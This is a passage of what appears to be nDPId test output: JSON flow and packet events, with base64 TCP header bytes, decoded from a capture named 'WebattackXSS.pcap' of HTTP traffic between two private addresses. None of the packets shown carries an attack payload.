+00432{"flow_id":501,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7121,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347821,"pkt_ts_usec":845513,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lQ9AAD4GMMmsEAABwKgKMoDqAFAyzLANes8R1oARAOXoiAAAAQEICgE8KhID5fZ1"} +00432{"flow_id":501,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7122,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347821,"pkt_ts_usec":845658,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA06lBAAEAG2YfAqAoyrBAAAQBQgOp6zxHWMsywDoARAOPjeAAAAQEICgPl+4YBPCoS"} +00432{"flow_id":501,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7123,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347821,"pkt_ts_usec":846482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lRBAAD4GMMisEAABwKgKMoDqAFAyzLAOes8R14AQAOXjdgAAAQEICgE8KhID5fuG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7127,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":504,"flow_packet_id":1,"flow_first_seen":1499347823117,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33068,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":504,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7127,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347823,"pkt_ts_usec":117412,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/vRAAD4GxtusEAABwKgKMoEsAFBFq9WkAAAAAKACchCVqwAAAgQFtAQCCAoBPCtQAAAAAAEDAwc="} +00444{"flow_id":504,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7128,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347823,"pkt_ts_usec":117538,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgSyhFRrnRavVpaAScSDZ4wAAAgQFtAQCCAoD5fzEATwrUAEDAwc="} +00433{"flow_id":504,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7130,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347823,"pkt_ts_usec":118291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/vVAAD4GxuKsEAABwKgKMoEsAFBFq9WloRUa6IAQAOV46wAAAQEICgE8K1AD5fzE"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":461,"flow_packet_id":6,"flow_first_seen":1499347748472,"flow_last_seen":1499347753827,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60518,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":461,"flow_packet_id":6,"flow_first_seen":1499347748472,"flow_last_seen":1499347753827,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60518,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":462,"flow_packet_id":6,"flow_first_seen":1499347749751,"flow_last_seen":1499347754827,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60532,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":462,"flow_packet_id":6,"flow_first_seen":1499347749751,"flow_last_seen":1499347754827,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60532,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":463,"flow_packet_id":6,"flow_first_seen":1499347752308,"flow_last_seen":1499347757828,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60558,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":463,"flow_packet_id":6,"flow_first_seen":1499347752308,"flow_last_seen":1499347757828,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60558,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":464,"flow_packet_id":6,"flow_first_seen":1499347753649,"flow_last_seen":1499347758828,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60572,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":464,"flow_packet_id":6,"flow_first_seen":1499347753649,"flow_last_seen":1499347758828,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60572,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":465,"flow_packet_id":6,"flow_first_seen":1499347756244,"flow_last_seen":1499347761829,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60598,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":465,"flow_packet_id":6,"flow_first_seen":1499347756244,"flow_last_seen":1499347761829,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60598,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":466,"flow_packet_id":6,"flow_first_seen":1499347757502,"flow_last_seen":1499347762829,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60612,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":466,"flow_packet_id":6,"flow_first_seen":1499347757502,"flow_last_seen":1499347762829,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60612,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":467,"flow_packet_id":7,"flow_first_seen":1499347758774,"flow_last_seen":1499347763831,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60626,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":467,"flow_packet_id":7,"flow_first_seen":1499347758774,"flow_last_seen":1499347763831,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60626,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":505,"flow_packet_id":1,"flow_first_seen":1499347824426,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33082,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":505,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7136,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347824,"pkt_ts_usec":426335,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80mVAAD4G82qsEAABwKgKMoE6AFCPwv7yAAAAAKACchAg8QAAAgQFtAQCCAoBPCyXAAAAAAEDAwc="} +00444{"flow_id":505,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7137,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347824,"pkt_ts_usec":426428,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgToZT9eBj8L+86AScSAvDQAAAgQFtAQCCAoD5f4MATwslwEDAwc="} +00433{"flow_id":505,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7138,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347824,"pkt_ts_usec":427178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00mZAAD4G83GsEAABwKgKMoE6AFCPwv7zGU\/XgoAQAOXOFAAAAQEICgE8LJcD5f4M"} +00432{"flow_id":502,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7142,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347824,"pkt_ts_usec":846052,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LOZAAD4GmPKsEAABwKgKMoEEAFDtQwtuJMgZrIARAOUbUQAAAQEICgE8LQAD5fj+"} +00435{"flow_id":502,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7143,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347824,"pkt_ts_usec":846263,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA059hAAEAG2\/\/AqAoyrBAAAQBQgQQkyBms7UMLb4ARAOMV3AAAAQEICgPl\/nQBPC0A"} +00432{"flow_id":502,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7144,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347824,"pkt_ts_usec":846996,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LOdAAD4GmPGsEAABwKgKMoEEAFDtQwtvJMgZrYAQAOUV2gAAAQEICgE8LQAD5f50"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7148,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":506,"flow_packet_id":1,"flow_first_seen":1499347825732,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33096,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":506,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7148,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347825,"pkt_ts_usec":732332,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Tq1AAD4GdyOsEAABwKgKMoFIAFDgbWNwAAAAAKACchBqdAAAAgQFtAQCCAoBPC3dAAAAAAEDAwc="} +00445{"flow_id":506,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7149,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347825,"pkt_ts_usec":732459,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgUjyJE\/d4G1jcaAScSAmGQAAAgQFtAQCCAoD5f9SATwt3QEDAwc="} +00432{"flow_id":506,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7150,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347825,"pkt_ts_usec":733206,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Tq5AAD4GdyqsEAABwKgKMoFIAFDgbWNx8iRP3oAQAOXFHwAAAQEICgE8Ld4D5f9S"} +00432{"flow_id":503,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7154,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347825,"pkt_ts_usec":847958,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zKhAAD4G+S+sEAABwKgKMoESAFBNgeRjFKr1a4ARAOUUOQAAAQEICgE8LfoD5fo5"} +00433{"flow_id":503,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7155,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347825,"pkt_ts_usec":848150,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CgRAAEAGudTAqAoyrBAAAQBQgRIUqvVrTYHkZIARAOMPBAAAAQEICgPl\/28BPC36"} +00432{"flow_id":503,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7156,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347825,"pkt_ts_usec":848723,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zKlAAD4G+S6sEAABwKgKMoESAFBNgeRkFKr1bIAQAOUPAQAAAQEICgE8LfsD5f9v"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7166,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":507,"flow_packet_id":1,"flow_first_seen":1499347828369,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33122,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":507,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7166,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347828,"pkt_ts_usec":369060,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QFxAAD4GhXSsEAABwKgKMoFiAFAwDnAtAAAAAKACchALaQAAAgQFtAQCCAoBPDBxAAAAAAEDAwc="} +00444{"flow_id":507,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7167,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347828,"pkt_ts_usec":369155,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgWKuqhlpMA5wLqAScSA+aQAAAgQFtAQCCAoD5gHlATwwcQEDAwc="} +00432{"flow_id":507,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7168,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347828,"pkt_ts_usec":369946,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QF1AAD4GhXusEAABwKgKMoFiAFAwDnAurqoZaoAQAOXdcAAAAQEICgE8MHED5gHl"} +00433{"flow_id":504,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7172,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347828,"pkt_ts_usec":846087,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/vZAAD4GxuGsEAABwKgKMoEsAFBFq9WloRUa6IARAOVzUgAAAQEICgE8MOgD5fzE"} +00432{"flow_id":504,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7173,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347828,"pkt_ts_usec":846316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0GLRAAEAGqyTAqAoyrBAAAQBQgSyhFRroRavVpoAQAONtuwAAAQEICgPmAl0BPDDo"} +00432{"flow_id":504,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7174,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347828,"pkt_ts_usec":846362,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0GLVAAEAGqyPAqAoyrBAAAQBQgSyhFRroRavVpoARAONtugAAAQEICgPmAl0BPDDo"} +00432{"flow_id":504,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7175,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347828,"pkt_ts_usec":846893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cPJAAD4GVOasEAABwKgKMoEsAFBFq9WmoRUa6YAQAOVtuAAAAQEICgE8MOgD5gJd"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7179,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":508,"flow_packet_id":1,"flow_first_seen":1499347829667,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":508,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7179,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347829,"pkt_ts_usec":667453,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lVZAAD4GMHqsEAABwKgKMoFwAFBnlqTjAAAAAKACchCd2AAAAgQFtAQCCAoBPDG1AAAAAAEDAwc="} +00444{"flow_id":508,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7180,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347829,"pkt_ts_usec":667588,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgXAvgGqdZ5ak5KAScSD9iQAAAgQFtAQCCAoD5gMqATwxtQEDAwc="} +00432{"flow_id":508,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7181,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347829,"pkt_ts_usec":668333,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lVdAAD4GMIGsEAABwKgKMoFwAFBnlqTkL4BqnoAQAOWckAAAAQEICgE8MbYD5gMq"} +00433{"flow_id":505,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7185,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347829,"pkt_ts_usec":846688,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00mdAAD4G83CsEAABwKgKMoE6AFCPwv7zGU\/XgoARAOXIyAAAAQEICgE8MeID5f4M"} +00432{"flow_id":505,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7186,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347829,"pkt_ts_usec":846914,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA01NVAAEAG7wLAqAoyrBAAAQBQgToZT9eCj8L+9IARAOPDfgAAAQEICgPmA1cBPDHi"} +00433{"flow_id":505,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7187,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347829,"pkt_ts_usec":847648,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00mhAAD4G82+sEAABwKgKMoE6AFCPwv70GU\/Xg4AQAOXDfAAAAQEICgE8MeID5gNX"} +00432{"flow_id":506,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7191,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347830,"pkt_ts_usec":846409,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Tq9AAD4GdymsEAABwKgKMoFIAFDgbWNx8iRP3oARAOXAIAAAAQEICgE8MtwD5f9S"} 